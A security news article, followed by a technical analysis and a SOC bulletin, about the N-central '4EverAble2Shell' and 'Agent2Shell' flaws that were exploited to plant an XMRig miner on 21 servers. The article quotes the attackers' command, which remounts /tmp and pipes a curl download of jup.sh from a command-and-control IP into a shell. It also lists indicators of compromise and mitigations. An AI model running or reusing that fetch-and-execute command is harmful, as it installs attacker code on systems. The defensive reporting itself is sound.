Hackers Exploit N‑central Flaws to Infect 21 Servers, Including 19 Clients

N‑able reported on Thursday (November 13, 2026) that it is taking containment measures following the public disclosure of two critical vulnerabilities in its N‑central management platform, identified as 4EverAble2Shell and Agent2Shell.

As an immediate response, the company disabled the legacy API by default in hosted environments, suspended the Microsoft Intune integration, and recommended updating agents and probes to version 2026.4 HF1 or higher. On‑premises customers received similar guidance: update agents and probes and ensure the legacy API remains disabled.

The flaws, discovered by independent researcher Sean Bales, allow attackers to execute arbitrary code as root on the N‑central server and subsequently gain SYSTEM privileges on managed Windows machines under specific configuration conditions.

According to threat intelligence reports, the exploitation chain combines the critical Apache Axis component vulnerability (referenced as CVE‑2026‑90436, CVSS 9.8) with an N‑central privilege escalation flaw. The attack starts with a malformed SOAP request that causes Axis to instantiate an attacker‑controlled JLine class, resulting in command execution under the nable service account.

In an observed scenario, threat actors download and execute a shell script ("jup.sh") hosted at 157.20.241.16, which, after being transferred, installs the XMRig miner for Monero mining. The command used traces back to: mount -o remount,exec /tmp 2>/dev/null; curl -fsSL hxxp://157.20.241.16:8080/jup.sh | sh -s nc_[target‑IP‑redacted].

Security firm Huntback confirmed that the same IP address is being used to distribute the miner across 21 N‑central servers located in the United States, South Africa, Canada, the United Kingdom, Germany, France, and Sweden. Although the miner consumes only half of the CPU cores to avoid detection, it represents a total compromise of the management server.

Reported impacts include the loss of confidentiality and integrity of managed customer data, as well as the risk of the infrastructure being used for illicit activities. N‑able warned that simply applying Hotfix 2 is not enough; 19 of the 21 compromised servers already had the hotfix installed, indicating that the vulnerability persists in components not covered by the fix.

What to do now:

• Immediately disable the legacy API and Intune integration in N‑central environments.

• Update agents and probes to version 2026.4 HF1 or later.

• Check for the presence of the jup.sh script or XMRig processes on managed servers.

• Apply the complete patch released by N‑able as soon as it is available.

• Monitor outbound traffic to IP 157.20.241.16 and block unauthorized connections.

CyberX Technical Analysis

Affected Architecture

The N‑central platform consists of a central server that communicates with agents installed on managed devices via SOAP/HTTPS protocols. The vulnerable component resides in the embedded Apache Axis module, which is responsible for processing SOAP messages.

Attack Vector

An unauthenticated attacker sends a SOAP request containing a header that references a manipulated JLine class. Due to the lack of class validation, Axis loads and executes arbitrary code under the nable service account, which has root privileges on the Linux server.

Escalation to Windows

With control of the N‑central server, the attacker can use the agent installed on Windows endpoints to execute commands as SYSTEM, taking advantage of the implicit trust between the management server and the clients.

Indicators of Compromise (IOCs)

• Command and control IP address: 157.20.241.16

• Observed script name: jup.sh

• Miner process: xmrig or variations

Recommended Mitigations

• Disable the legacy API and non‑essential integrations.

• Apply the 2026.4 HF1 update to all agents and probes.

• Block outbound traffic to the above IP and monitor unauthorized HTTP connections.

• Perform file and process scans looking for jup.sh and xmrig.

SOC Bulletin – N‑central – 4EverAble2Shell / Agent2Shell

Technical Summary

A Remote Code Execution (RCE) vulnerability in Apache Axis (CVE‑2026‑90436) combined with a privilege escalation flaw in N‑central allows an unauthenticated attacker to gain root access to the management server and subsequently SYSTEM on Windows endpoints.

Potentially Affected Assets

• N‑central servers (versions prior to 2026.4 HF1)

• Agents and probes installed on managed Windows devices

Observed Techniques (MITRE ATT&CK)

• T1190 – Exploit Public-Facing Application

• T1068 – Exploitation for Privilege Escalation

• T1059 – Command‑and‑Control (Shell)

Indicators of Compromise

No confirmed file hashes, but observed:

• HTTP/HTTPS communication to 157.20.241.16:8080

• Execution of the jup.sh script

• xmrig processes consuming ~50% CPU

Short-Term Recommendations

• Disable the legacy API and Intune integration immediately.

• Apply the 2026.4 HF1 update to all agents/probes.

• Block IP 157.20.241.16 on the egress firewall.

• Perform a scan for suspicious processes and files on N‑central servers.

Long-Term Controls

• Implement network segmentation to isolate the N‑central server.

• Adopt File Integrity Monitoring (FIM) on agent directories.

• Review automatic update policies to ensure critical patches are applied rapidly.

Evidence Preservation

Collect N‑central server access logs, SOAP records, and network traffic captures containing requests to the C2 IP. Store disk images of compromised servers for forensic analysis.

Frequently Asked Questions